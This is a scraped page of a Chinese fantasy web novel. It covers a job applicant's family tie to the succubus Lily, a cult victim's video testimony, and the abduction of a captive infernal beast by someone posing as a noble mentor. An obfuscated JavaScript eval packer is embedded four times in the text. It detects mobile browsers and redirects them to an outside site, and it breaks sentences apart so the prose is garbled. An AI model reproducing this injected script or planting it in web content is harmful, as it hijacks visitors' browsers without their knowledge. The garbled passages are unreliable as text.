她思忖了片刻，说道：“考虑到贵族院目前暗流涌动，我也说不准会不会有人再次盯上这颗核心，放在你们那儿，说不定反而会给你们招致危险。既然如此，那还是先由我保管吧。”她拢起五指，橙红色的珠子便消失在了众人眼中。 三位房客间的氛围明显缓和了起来。他们为“逃过一劫”而感到庆幸，也就没有人追究阿加雷斯为何没有受邀。 有人敲了敲会议室的门，妮娜和魅魔们对了个眼神，无疾而终的会议宣告散场，门外的人和从门内退出的人交换了立场。 “斯特尔女士，事情是关于近来一名应聘者的，我想让你来拿个主意。”拿着一份纸质资料进门的人是佩吉·卡斯纳。 她在魅魔们全部离开后，才走到会议桌边上，在妮娜左手边的位置坐了下来，将手中的东西放到她的面前。 “前蓝天的员工，在最近的裁员浪潮中被劝退了。因为他是从基层一直做到高层管理的，对各级业务都很熟悉，我觉得可以给他提供一个高级岗位，毕竟我和露西都没有真正的管理经验，我们需要这方面的老手。这是他的履历表。” “蓝天”是目前国内规模最大的职业培训机构，到佩吉那儿去求职也算是专业对口。 妮娜拿起佩吉印好的简历，认真看了一遍，注意到了那个非常特别的姓氏：“我想亲自见见他。” * 这名求职者目前就滞留于神圣峡谷的老城区一家价格适中的招待所中，一得到佩吉的联络，当即就赶了过来。 非常体面的黑色正装和绀色领带，皮质高端的公文包，一副细框眼镜，刮得干干净净的脸，梳得整整齐齐的头发，看起来像一名社会精英，而不是失业者。 想必他应该从前东家那里得到了一笔赔偿，过去几年攒下的积蓄也足以使他不会在短期内变得狼狈不堪。 如果没有背负贷款，他甚至几年内都不急着寻找新的工作。 他看起来有些拘谨，以他的社会资历来说，他完全不需要这样。 地点仍是会议室，佩吉不在，只有妮娜和这位求职者两个人。两人的面前都摆着一杯用于象征礼貌的红茶。 “佩吉已经给你安排好职位了，之后她还会就工作内容和薪酬待遇的问题和你进行核对。我想见见你，主要是为了别的事情。”妮娜这么说的目的本是想帮他放松下来，让他知道自己的下一份工作已经有了保障，但不知为何，他看起来反而更加不安了。 “请问，别的事情是指——”他小心翼翼地问道。 妮娜不打算卖关子，直言道：“你认识尤金吗？” 从求职者的表情变化可以看出，这个问题完全出乎他的意料，也就是说这和他刚才在紧张的事情没有任何联系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493092|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妮娜用手指捻起简历的一角：“雷诺阿·黑风，这个姓氏非常少见，我前不久认识了另一个姓黑风的年轻人，不免猜想你们两个会不会碰巧是亲戚。” 雷诺阿稍作迟疑，然后点了点头：“尤金是我弟弟，现在供职于赫尔马岱的恶魔研究所，我打算在入职后到赫尔马岱租一间宽敞些的房子，这样我们兄弟二人就可以住在一起了。” “今后你们兄弟俩的工作就都要和魔族打交道了。”妮娜说。 这话不知刺激到了雷诺阿的哪根神经，他的肩膀猛地一跳，连带妮娜都差点被他吓到。 “你怎么了？身体不舒服吗？” “不，没有，我身体很好。”雷诺阿急忙说道，他一会儿看看天花板上的吊灯，一会儿又看看桌上的茶杯，好不容易才冷静下来，“我……我有一件事要向你澄清。与其时候被发现，产生嫌隙，还不如一开始就说个明白。” 妮娜探究地看着他：“你要澄清什么？” “我曾经举报过你在乐飞上面发布的视频。”雷诺阿尽可能让自己看上去堂堂正正地说出这句话。 这个回答让妮娜愣了一下，过了三四秒才回过神来：“你就是那个夜厅之王！” 尽管妮娜毫无障碍地把那个称号给说了出来，但雷诺阿在听到的时候脸明显红了一下。 “是……是我。”他为难地应道。 妮娜虽然有些吃惊，但也只是有些吃惊而已，她并没有对此感到特别介意，尤其是那位“夜厅之王”先生的初衷是为了帮助莉莉。 反倒是他在网络上和在现实中两个形象之间的巨大反差更让人意外一点。 若把话说白了，这可能就成了一种刻板印象，但她必须承认，她想象中的举报者应该是一名外形邋遢阴沉的家伙，而不是一位人模人样——甚至在他那个年纪算得上长相出色的白领青年。 说到长相，妮娜的注意力再次集中到雷诺阿的面部，她眯起眼睛，让视野变得稍微模糊了一点，并以这种模糊的视线打量了片刻。 “如果我说错了，那还请原谅我的失礼——”她迟疑地说道，“你和莉莉之间是否存在着某种血缘关系？” “什——” 雷诺阿的脸上浮现出难以掩饰的震惊，似乎无法想通坐在对面的那个女学生是如何看穿这一点的。 “你没有看过关于魅魔的第三期科普视频吗？”妮娜说。 雷诺阿尴尬地摇了摇头：“抱歉，因为裁员的事情，我已经很久没心思在网路上闲逛了。” “女妖是人类和魅魔结合才能生下的后代，莉莉的父母中一定有一位人类，那么她会有人类亲戚也就不奇怪了。我只是觉得你们的长相在某些细节上有点相似，恰好你又这么关注她。看你的反应，我应该是猜中了？” 雷诺阿终于无奈地笑了一下：“你是一个很敏锐的人。从辈分上来说，莉莉应该算是我的姑奶奶。她是我祖父同父异母的妹妹。” 105. 承你吉言 西装笔挺的青年开始叙说一桩大半个世纪之前的逸闻。 那时候有点社会地位的人家里都会有一两个女仆，他曾祖父家就有一位。没人知道那女仆是位魅魔，曾祖父强迫了她，让她怀了身孕——就更加没有人觉得她不是人类了——直到孩子出生。 一个有着蓝色胎发的女孩子。 私生女在那个年代还不算什么稀奇事，但如果这孩子是个魔物就另当别论了。 在社会的普遍观念中，魔族的繁衍只能依靠生命之树。莉莉无疑是个超出认知的孩子。 女仆和莉莉很快就从那个家中消失了，很长一段时间里，没有人再提过那些事。 雷诺阿则是在小时候和祖父的谈话中，偶然得知了自己其实还有一位姑奶奶。他将此事一直记挂在心上，长大之后，终于辗转找到莉莉的下落，并以自己的方式对她的生活进行了资助。 “我不想看到家人过得太辛苦，尽管家人的定义在我们之间看起来也许有些奇怪。”他说，“另外，我想弥补曾祖父犯下的过错，无论如何，强迫女性发生关系都是可耻的，哪怕那是一位魅魔。” “赎罪”，听完他的自白，妮娜又想到了曾被蒂德莉挂在嘴上的词语。 除此之外，她也从雷诺阿口中获得了一些非常有价值的情报。 因为他们那位姑奶奶的关系，黑风家的两兄弟从小就对魔族的处境抱以同情的态度，甚至尤金在这方面的志向更胜于身为哥哥的雷诺阿一筹。 “……所以他在进入大学后选择魔族生物学也是出于这方面的原因？” “他在知道莉莉的事情之前就想当一名医生，在我们兄弟发誓要为那位长辈做些什么的时候，他的理想就发生一些变化，他决定要当一名恶魔医生。那时候我们一直没意识到人类和魔族之间的矛盾其实已经非常深刻，以至于‘恶魔医生’早就已经是一个被历史尘封的职业。” “嗯……所以他退而求其次，进入研究所工作。” “他其实……在那儿呆得很不愉快。黄金周的时候我们碰过一次面，他变得沉默寡言了，以前他可是一个活泼开朗的男孩。他说研究所的工作让他感到恶心，不过碍于一些保密协议，他不能告诉我里面究竟发生着什么。但我也听说过一些事情，比如用魔族进行的一些人体实验……你去过恶魔研究所？” “就在前不久，我与那边建立了一些业务往来。” 业务往来这个词其实一点儿也不准确，妮娜只是在暗中观察、以及进行一些不易觉察的插手，只有到了更加有把握的时候，她才能光明正大地公开对研究所的权利。 不过在听到这个词语的时候，雷诺阿的眼神闪烁了一下，表情逐渐浮现出一丝警惕，萦绕在他周身的氛围也变得局促不安，最终，他下定决心，问道：“罗德里斯公寓是一个对魔族友好的，甚至可以说是大体服务于魔族福祉的项目，这样的一个项目，为什么会和恶魔研究所展开业务往来？” 妮娜思考了一会儿。 她还不能对尚未正式加入项目、而且又是人类的雷诺阿挑明自己的终极目的，也不能直白地告诉他研究所的控制权已经有一部分流入罗德里斯公寓，可什么都不说，显然会引起他的怀疑——就像他刚才提出的那个问题。 这时候，她想到了一个很好的点子，既能回答雷诺阿的疑问，也能作为一个长期的规划写进项目的发展前景中。 “我想联合研究所中的有志学者开办面向魔族的医疗服务。”她说，“一家恶魔医院。” 雷诺阿的脸上顿时由阴转晴：“你是说真的吗？这样的话，尤金是不是就有机会实现他的抱负了？” 还不等妮娜给他回应，他的脸上又浮出些许忧虑：“我从尤金那里听说了研究所的秉性，我不相信他们会愿意为魔族开展治疗活动——尽管那里的确有不少具备成为恶魔医生资质的成员。” “但那里也有像尤金一样的学者不是吗？只是他们在那样的大环境下不得不掩饰自己真正的志愿，被迫听从上级的指示开展残酷的研究活动。对魔族的同情表现得太露骨的话，是会成为被孤立和霸凌的对象的。”妮娜说。 雷诺阿看起来深有同感，“你说的没错，其实我小时候就遇上过那样的事。我在学校附近的小巷里阻止了正在殴打一只巨魔的同学们，接下来的大半个学期，我便成了那群家伙欺负的对象——幸好那已经是六年级的最后一个学期了。” “我小时候甚至没你那么勇敢，也没你那么善良，那时候我和如今社会上的大多数人一样，不仅讨厌魔族，也畏惧他们。” “但你现在为他们做的比我们任何人都多。而我，只是空有对他们的怜悯，以及改变这一切的理想罢了，实际上光凭自己什么也做不到。总不能因为你小时候的想法，就否定你现在的贡献。人是会变的嘛，我小时候特别讨厌活页芹，但现在那已经成了我最喜欢的蔬菜。” “这是我的使命。而你也并不像你说的那样什么也做不到，你帮助莉莉过上了至少是不愁吃穿的生活，今后你会有更多实现理想的机会。” “承你吉言。” * 早在旧城区轰炸事件发生之时，罗德里斯公寓里就出现过要揭露贵族院真面目的声音，但暂时被房东按下不表。 这当然是考虑到彼时罗德里斯公寓在客观的力量对比中完全没有胜过贵族院的可能性，而且不仅是当时，失去力量的魔王和不具备显著攻击能力的公寓住户们就算团结一心，也不可能战胜拥有热武器和魔法武器的七贵族。 也许阿加雷斯拥有不错的魔法天赋，但总的来说，罗德里斯公寓和贵族院之间的力量对比实际上到目前为止都没有太大的转变。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503200|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 妮娜对这个状况有很明确的认知，因此一直在寻找暴力之外能够获胜的办法，其一即是掌握贵族院无法动摇的经济实力，以树根为代表的星屑金融机构已经构筑起了粗具雏形的新的经济地基；其二便是以软着陆的方式打击民间对贵族院的支持和信赖。 实际上，由于轰炸事件造成的伤亡过于惨重、影响过于恶劣，贵族院曾一度遭到民众的大量声讨和质疑，但很快就被压制了下去，甚至因为旧城区重建速度过快，才没过多久，就有人以此为主题对贵族院进行赞扬，又打造出一片安详和乐的景象。 但无论如何，亲眼目睹或亲身经历过那件事的人恐怕很难彻底摆脱当时的恐惧、走出那段阴影。 在这种背景下，一些打着安抚心灵、提供支撑旗号的组织开始大行其道。 “大概是一年前，我参加了一个线下的魔法同好聚会，在那里，有一个前辈说他正在开发一个需要多人参与的大型魔法，想让我们进行协作。那个前辈的学术能力在同好会里是得到公认的，所以我们都很相信他，约好了有空一起过去帮忙。” “按照他的说法，那是一个能把一个地区里面所有人的情绪收集起来然后平均分配的魔法，这样，那些情绪过于亢奋的人就会变得平和，郁郁不振的人则会变得积极，整个社会的氛围就会变得更加和谐。” “我一直相信魔法是要用来造福人类的，所以对他的这个理念感到十分认同，答应参加那个大型魔法的开发，希望为社会稳定和人民幸福做一份贡献。但是真正参与到开发过程中后，我渐渐觉得事情有点奇怪……” “人容易变得恍惚，前辈说是由于我之前情绪值太高，现在被平均掉了一点，习惯就好……” “提出想回家一趟，结果被拒绝了，后来基本上处于被半软禁的状态……” “不停洗脑。他们的洗脑手段其实一点都不高明，但时间久了，而且在那个环境里，很难不受到影响……” “有很多人已经彻底陷进去了，但是我意识到不对之后就一直想逃走……” “他们反对七圣灵，信仰的是一位远古真神，他们说七圣灵其实是背叛者，祂们自私地瓜分了真神的力量……” “有体罚，甚至会用刑……很恐怖……” “是人类，至少我接触到的上层都是人类……感觉目的不只是为了钱，所以更加恐怖……我怀疑是地下宗教的极端分子……” “……把这段经历公开，就是为了给大家提一个醒，不要重蹈我的覆辙，不要轻易被邪教控制，不管他们说得有多好听，最后不可能会有好结果的。” 这是罗德里斯魔法公寓最新发布的一期视频，既不是科普，也不是短剧，带着巨大马赛克出镜的甚至不是一个魔族，而是一个人类。 脚注是“被罗德里斯公寓救助的邪教受害者”。 106. 黑色访客 起初，老观众们对这个视频的内容感到一头雾水，但渐渐的，评论区的一些现身说法让人意识到这不是一件小事。 [家里亲戚请我们一家去做客，好吃好喝招待了我们三天，结果是拉我们入教，我一看不对劲就想走，我爸妈还说我没礼貌，最后就我一个人逃出来了。] [楼上的，后来怎么样了，你爸妈没事吧？] [回复：命还在，就是人不人鬼不鬼的。懒得说了，他们活着而且开心就行。] [我家隔壁一个待业的年轻人，好几个月没见到了，催水电费的单子一直塞在邮箱里都快塞爆了，不会就是被骗进那种地方了吧？] [不图钱，那他们到底图什么啊？不会真的是想传教吧？我一直觉得七圣灵的传说怪怪的，不会真的是坑了哪个远古真神……] [房东有没有救更多人的打算啊？] [请务必保护好上节目的小子，我怕他会遭到打击报复。] “我，我也担心他们不会轻易放过我。毕竟是我把这件事捅出来的。”莱斯利似乎没有想到一个案件采访视频会引起这么多关注，内心深感不安。 佩吉又同情又好笑地看着他：“那就留下来，接受罗德里斯公寓的保护吧。我可以帮你向房东求情，给你在赫尔马岱谋求一个好工作，那里应该比神圣峡谷安全很多。” “那就拜托你了。”莱斯利说。 “为什么不把发现魔女的事情也说出来呢？”乌鸦浏览着视频的反馈，忽然感到有些不解，“只要提到魔女，民众一定会怀疑是贵族们干的好事吧？这不是有利于瓦解贵族院吗？” “我现在相信贵族院内部一定存在很多分歧，让人类彻底怀疑贵族院的立场，反而会对我们后续的一些活动不利，毕竟祂们还担任着创业大赛的导师。”妮娜解释道。 “既然如此，做这个视频又有什么意义呢？” “就是给大家提个醒嘛。能少一个受害者也是好事。” “你不必为人类考虑那么多。” “也不光是为人类考虑。和七圣灵作对的真神，而且还牵涉到魔法，要是让不明真相的人认为这个邪教是魔族在背后组织，那不是给我们的族群摸黑吗？” “你永远那么有道理。”乌鸦不满地鼓了一下脸颊，不过还是被说服了。 * 已经过去好几天了，阿尔弗雷德向导师7号发出的求救信号依然没有得到回复。 尽管比起最初的那段时间，舆论已经平息了很多，但考虑到画展可能已经被毁了，连带着他的地狱火也真的要下地狱了，这种平息完全不能让他感到好受一些。 “年轻人，你看上去像是遇上了什么麻烦。” 回过神来的时候，眼前站着一个脸色苍白，眼睛深处闪烁着奇异光彩的男人。 男人穿着普通的格纹衬衫和牛仔裤，长相和打扮都很普通，放在人群中毫不出彩，光从外表难以判断年龄段。 这里是王都的闹市区，能遇上各种各样的人，在烦闷的时候，阿尔弗雷德偶尔会独自来这里寻找灵感，但这个人看起来没有成为缪斯的潜质，所以他只对这声毫无征兆的招呼感到无趣。 大概是推销员之类的吧。这样想着，阿尔弗雷德别过脑袋，从男人身边绕了过去。 男人没有阻拦，但声音却从后面飘来：“原本正在上升的事业突然遭遇了意想不到的挫折，如果放任不管的话，很有可能会就这样一直坠入谷底哦。” 阿尔弗雷德继续往前走。 “舆论，有着让你身败名裂的力量。更何况你本来就不清不白。”男人继续说，“你夺走了很多生命，总有一天会为此付出代价。” 阿尔弗雷德的脚步变慢了。 “我可以教你赎罪的方法，还能帮你重回巅峰，伟大的真神看好你。你，是一个被选择的人。” 阿尔弗雷德停下了脚步。 男人在他看不见的角度得逞一笑，快步追了上去：“你——” 阿尔弗雷德猛地转身：“你好烦啊，再跟着我，我就要报警了！” 男人张了张口，惊愕地看着他，然后目露凶光，狠狠说道：“不敬真神，你迟早会遭报应的！” 阿尔弗雷德没有理他，继续按原本的路径前进。 回到住处，阿尔弗雷德一头栽到床上。虽然从来没有想过依靠什么玄学的力量，但经过路上偶遇的那个烦人家伙的提醒，他也不免反思起自己是不是做了什么不好的事。 反思的结果是，他没做过一件对不起自己良心的事。 目前的低谷，只是不走运罢了。 才躺了一会儿，楼下传来门铃响的声音。 阿尔弗雷德皱了皱眉，本打算不予理会，但不知为何竟从那铃声里听出了一点威严，于是不得不拖着脚步和萎靡不振的心情向楼下走去。 他是在一个多月以前搬到现在的住处来的，自从宿舍被魔女擅自闯入过之后，他就盘算搬出去住的事情了。 这里是神圣峡谷东部一片真正的峡谷区域中的独栋别墅，透过大面积的落地玻璃可以看到森林和幽泉组合成的美丽景色，一个艺术家的住处。 交通方面，有特别定制的魔法阵，自然也就不成问题。 钱当然是他自己挣的，所以他才花得这么爽快。只是不知道谁有如此兴致，一大清早地拜访他这片世外桃源。从主城区到这里，如果不借助传送魔法，还是颇费功夫的。 希望不是那些烦人的媒体记者。 阿尔弗雷德通过摄像头看到站在门口的是一位打扮古怪的客人，从头到脚都被黑色包裹着，乍一看会让人联想到魔女那种生物，但由于他的身材并不细长，肤色也并不苍白，所以很快就能排除这种可能性。 “请问，是谁？”他耐着性子，通过对讲器说道。 一个沙哑阴沉的声音，在电流的渲染下变得更加沙哑阴沉，响了起来：“导师。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518782|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这个简短的词汇在阿尔弗雷德的脑中炸开一声惊雷，他呆愣了一两秒，在扬声器有颗粒音传来的瞬间，按下了开门的按钮。 原来他的导师并没有打算放生他，他纡尊降贵地来到此处，打算给他的学生一对一、面对面的指导。 多么热情，多么负责的导师啊！阿尔弗雷德的眼中已经泛起了一层泪花。 “导师，您知道的，我最近遇上了不小的麻烦，如果不解决的话，您花功夫为我争取来画展场地，就要变成白费功夫啦。”他用热情饱满的情绪将那位一身黑的大贵族迎进了客厅。 他注意到导师的肩膀还有手臂上似乎有一群黑色的粒子缠绕着，让人感到一丝不祥的气息。 正常人肯定不会这样，但这是导师，是贵族院的成员，七贵族之一，这或许是一种魔法的气息，只是自己看不懂、嗅不明白罢了。阿尔弗雷德这样在心里进行自我安慰式的说明。 “我来不是为了解决那些问题。”导师冷酷无情地说道。 阿尔弗雷德的表情开始变得僵硬，但仍试图讨好：“您是想到山里来透透气，看看风景吗？您要是早同我说一声，我可以为您充当导游，也可以在家里准备一些休闲放松的玩意儿。您先在客厅坐着，我去给您泡茶。” 导师举起一根手指头：“用不着。”那根手指的指尖也在不停地冒着黑烟，就像是正在使用中的烟囱。 他在沙发上坐了下来。 阿尔弗雷德觉得自己那张深棕色的沙发看上去颜色变得更深了。他从厨房端来茶具和茶壶，恭恭敬敬地替导师沏茶，然后像一个小学生似的，端端正正地坐到边上单座的沙发里去了。 “如果能够满足我的要求，我也不是不能替你解决一些麻烦。”导师突然开口。 阿尔弗雷德受宠若惊，立刻表态：“您有什么要求，我一定拼了命也要满足您。” “炼狱兽，我查到你似乎把他给藏起来了。我要带走他。” 阿尔弗雷德左边那条眉毛不受控制地抽了一下。 “不、不愧是贵族大人，”他赔笑似的说着，“噢，当然，当然，我完全没有要私藏那家伙的意思，您要带走他，我又有什么理由阻止呢？您也是知道的，他算是我的创作灵感，我的专用模特，我会把他藏起来，也只是出于这个缘故，绝不是——” “让我去看看他。”导师打断了他的话。 阿尔弗雷德讪讪应道：“当然可以，我这就带您去。” 在恩斯法内大学的校园里看到炼狱兽被一个突然杀出来的男学生给带走的时候，他还以为自己的囚禁计划就这么破灭了呢。 谁能想到那两个人很快就分道扬镳，最后阿尔弗雷德还是成功捡了漏，通过最简单粗暴的方式——手刀，从背后击晕了那只没头没脑只想着逃窜的小恶魔，就这样把他带回了家里，关进了地下室。 这一切应该没有被多少人看到，因为当时他所处的位置离他设置的魔法阵很近。 107. 图谋不轨 这栋三层楼的别墅还附赠了一间地下室，原本是用来堆放杂物的，但是被阿尔弗雷德改造成了防火的监狱。 墙体都涂上了防火的材料，原本堆放在那里的东西也都被清理干净，现在只剩下一根杵在地里的柱子，以及栓在铁链上的恶魔少年。 为了进一步避免发生火灾，他还通过一些地下的渠道购买了魔法禁用媒介。 现在，那只小恶魔正虚弱地靠着墙壁坐着，他在这里已经过了好一段食不果腹的日子，而且没法沐浴日月的光辉，空气潮湿和阴沉，总之一切对他来说都糟透了。 即使没有那个多余的禁制魔法，以他现在的体力，根本就释放不出火焰。 “你就是这样对待你的模特的？”导师在目睹了这一场景之后，面带讥讽地问道。 阿尔弗雷德则面露窘迫：“您知道的，最近……那些事，我几乎顾不上照顾他。” “正好，我可以帮你接手这个麻烦，你就好好感到高兴吧。”导师说。 “唔，嗯。”阿尔弗雷德支支吾吾地应着。又硬着头皮问了一句：“您，您打算如何帮我解决问题呢？” 他明显感觉到导师在现实中是一个比网络形象要严肃太多的人。 就在这时，阿尔弗雷德放在裤子口袋里的手机震动了一下，不过他暂时没空理会。 “这很简单，我会以贵族院的名义发布新的调查结果，证明你和那个游戏没什么关系就行了。贵族院目前既然已经公开参与到创业大赛中，那么会插手这件事也不奇怪，对吧？”黑色的人物说道。 “正是这样，正是这样！有您这句话，我可就放心了！”阿尔弗雷德眉开眼笑。 意识不清的炼狱兽因为这几声吵闹而逐渐清醒过来，那双暗红色的眼睛透过长长的睫毛，看到了两条模糊不清的影子，他挣扎了几下，但很快就再次失去了力气。 “不……不……”他用微不可闻的声音反抗道。 这种无力的反抗当然得不到理会。 导师用指尖的黑色粒子在身前画了一个魔法阵，最后一笔完成的同时，那个魔法阵便如同绳索一样在空中漫游起来，然后落到炼狱兽的身上，一眨眼功夫就将他捆了起来。 随着导师的手指移动，黑色绳索将它的囚徒带到主人的身边。 “您今天就要带他走吗？”阿尔弗雷德多嘴地问了一句。 “我可不希望好事多磨，我想你应该也一样。”导师说，“我该走了，你的麻烦我很快就会派人解决。” “请务必、务必在画展开始之前，如果能提前一个礼拜就更好了。”阿尔弗雷德情不自禁地将两只手掌合在一起，做出拜托的动作。 导师没有理他，顺着过来的路返回门口，黑色绳索分出了一截，赶在阿尔弗雷德献殷勤之前就替他开好了门。 很快，那条黢黑的影子就消失在绿树成荫的大自然中了。 阿尔弗雷德终于有时间看一眼手机。 在看清那些文字的同时，他睁大了眼睛，胸口突然开始起伏不停。 屏幕上是这样的几条消息—— 导师7号：“抱歉，之前出了一点事情，没能照顾到你这边。我看到关于你的那些负面新闻了。” 导师7号：“我觉得在这种情况下，你其实还是大大方方认错，然后和那些人沟通赔偿方式比较好。毕竟事情确实是你做的，现在试图把自己摘干净，如果事后被人发现什么，就很难再获得群众的信任，如果发展到那种地步，对你的事业来说将会是毁灭性的打击。” 导师7号：“这其中的利害，希望你能好好考虑。如果你决定认错的话，我这边也会配合你进行一些表态。” 导师7号很少会给他发字数这么多的消息，而且一连发了好几条，看得出来祂确实对自己之前的已读不回感到歉疚，想要补上过去的那些缺失，给他提出了一些非常诚挚的建议。 ——但这不是主要问题！ 如果给他发消息的导师7号千真万确是一直以来的那个导师7号，那刚才带走炼狱兽的家伙又是什么人？！ 现在一回想，刚才那个人从外貌到举止都如此可疑，他怎么就那么轻易地将他放进家门，又任他带走了炼狱兽？ 那家伙到底想干什么？！ 绝对是图谋不轨！ 阿尔弗雷德浑身颤抖着将刚才发生的一切告诉了真正的导师7号，因为手指不听使唤，他打错了好几个字。 对面沉默了很久，阿尔弗雷德连气都不敢喘，焦急地等待着回复。 导师7号：“你先不要着急，我会去调查这件事的。” 尽管没有证据，但阿尔弗雷德觉得屏幕对面似乎传来一阵无语的叹息。 * 自打和雷诺阿进行过深度交流之后，妮娜心里就有了一个关于专门面向魔族的医院的设想。 开设医院不是一件容易的事，更不用说一家恶魔医院。不过可以先从小事做起，比如运营一个魔族医务室。 工地上难免会出现受伤生病的工人，在妮娜的要求下，亚历山大和安德烈会对他们展开必要的医疗救助，但完全是按照人类受伤的那一套进行的。 在治疗巨魔、兽人这些类人种族的时候，那些方法还能行之有效，但要是伤患属于死灵和巫妖那一类的，往往就会束手无策，只能给予他们更多的休息，然后听天由命。 在妮娜接手矿地之前，情况更加糟糕，所有出现健康问题的工人仍被强迫劳动，直到剩下最后一口气，继而被送走成为魔法机械的燃料——这些伤亡案例都被作为劳动力资产的损失被登记在册，数不胜数。 目前工地上的简易医疗救治都是在矿区2005办公室的公共休息区域进行的，消毒用品和应急药物也都放在靠墙的柜子里，工人们已经开始习惯在感到不适或受到外伤时到那里去寻求帮助了。 可以直接将那块区域改造成正规的医务室，配备更加专业的器材和更有针对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533020|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性的药物。 当然，具备专业知识的医生也必不可少。亚历山大和安德烈虽然可以临时参与这方面的工作，但他们接受的都是针对人类伤员的急救教育，因此有必要招募一些真正的恶魔医生。 而要找到拥有相应素质的人才并不容易。 魔法在近一两年成为热门专业，完全是因为魔法作为生产工具已被证明有比传统器械更加高效的生产能力，能创造更多经济效益。 但魔族的社会地位没有随着魔法盛世的到来而得到提升，反而越发走低，故而与魔族相关的医学学科成了冷门中的冷门——唯一的好处是选择这些专业的学生由于数量稀少，他们中的绝大多数都能在毕业前就确保在研究所获得一席之地，就像尤金那样。 也就是说，所谓“拥有相应素质的人才”基本上都已经被研究所征集走了…… 妮娜突然打开手机，试图在上面翻找一些资料。 她更换了好几个社交软件，尝试了各种关键词，终于找到了一条距今已经有些时日的留言： [比斯特里大学、生物学、魔族生物方向、硕士应届毕业、有研究所实习经验、对魔族生态和生理有深入了解，老板看看有没有用人需求。] 原来真的有漏网之鱼！ 她兴冲冲地给留言者发了一条私信，表示希望能够面谈。 这条消息才刚刚发出，便有一条消息被送了过来——不是来自这位留言者，是导师7号，也就是蒂德莉·戈莱特女士发来的。 “一位贵族院的成员带走了炼狱兽，目的地很有可能是恶魔研究所，你认为是否有必要采取行动？” 通过在研究所读到的那些资料，妮娜已经对新型魔女的原材料中具有炼狱兽的成分这一事实有所了解——这是他们的攻击力和战斗欲望在旧型号基础上得到大幅提高的主要原因。 将炼狱兽送去研究所，无疑是为了批量对新型魔女进行强化组装。 妮娜·斯特尔：“有件事我一直忘了告诉你，我用你的名义从波多尔市长那里‘篡夺’了研究所的控制权，那个正在进行邪恶研究的家伙恐怕没那么容易得偿所愿。” 导师7号：“……” 导师7号：“看来你比我想象的更有行动力。但韦斯特尔不是一个好对付的家伙，我担心……” 妮娜·斯特尔：“你担心什么？” 导师7号：“你一定已经见到过那种完全不屈服于绝对王权的魔女了。那东西就是韦斯特尔主持研究的，如果他自己也拥有那种能力的话，你就得小心了。他是一个心狠手辣的家伙，而且对魔王抱有很大的敌意。” 妮娜悬在屏幕上方的手指顿时僵硬起来。 韦斯特尔。 蒂德莉提到的这个名字一定属于七贵族中的一人，一个对她抱有敌意，而且很有可能不受她控制的家伙。 直面这样一个敌人显然危险重重，可如果她选择退缩，某个麻烦鬼就有可能被他大卸八块！ 108. 擅闯敌营 …… 今天出门的时候，我在金闪花大街上一家甜品店的门口听到了一段对话，记录如下： “妈妈，上次电视里放了关于炼狱兽的新闻，你看到了吗？” “亲爱的，我看到了。” “我在课上学过，燃烧需要可燃物，氧气，以及温度达到燃点，当炼狱兽释放火焰的时候，他是用什么作为可燃物的呢？” “这个嘛，我也不是很清楚。” “生物要从体内释放出足以支持燃烧的热量，这种消耗会立刻让他变成一条肉干。我实在搞不明白。难道那种魔物每天都要摄取数额庞大的热量吗？” “……孩子，我想那种燃烧方式和我们一般理解的应该有某种差别。否则我们就不会把魔法称作是魔法了，那就成了一种科学，你明白吗？” “……不。” 我的天，这可真是一段睿智的对话，充满着人类智慧的闪光，那位聪明的母亲居然表现出能够明确区分科学与魔法的样子，而那个孩子居然能提出如此稀奇古怪的问题！ 制造火焰有什么困难的！我打个响指就能做到。甚至不需要响指。我希望哪儿着火，哪儿就能着火，什么可燃物，什么氧气，什么燃点——对我来说完全不需要考虑。 因为是魔法！魔法！！魔——法—— 该死，该死，这感觉太奇妙了。我现在完全相信，魔法就是一种超脱于科学、至少是与科学完全不同的东西。 在三百年前，魔族就拥有那些堪称奇迹的力量了，而那时候人类还一无所有——那时候我们的科学技术相比现在简直落后了不是一星半点。我们居然能够战胜魔族！ 所以说“智慧”真是一种伟大的财富！哈！看我写下了一个多棒的冷笑话！ ——《波诺的日记》 “波诺，我觉得你最近，怎么说呢……精神状况似乎不太稳定。要不要我给你找一个咨询师，你说不定可以获得一些有用的建议。” 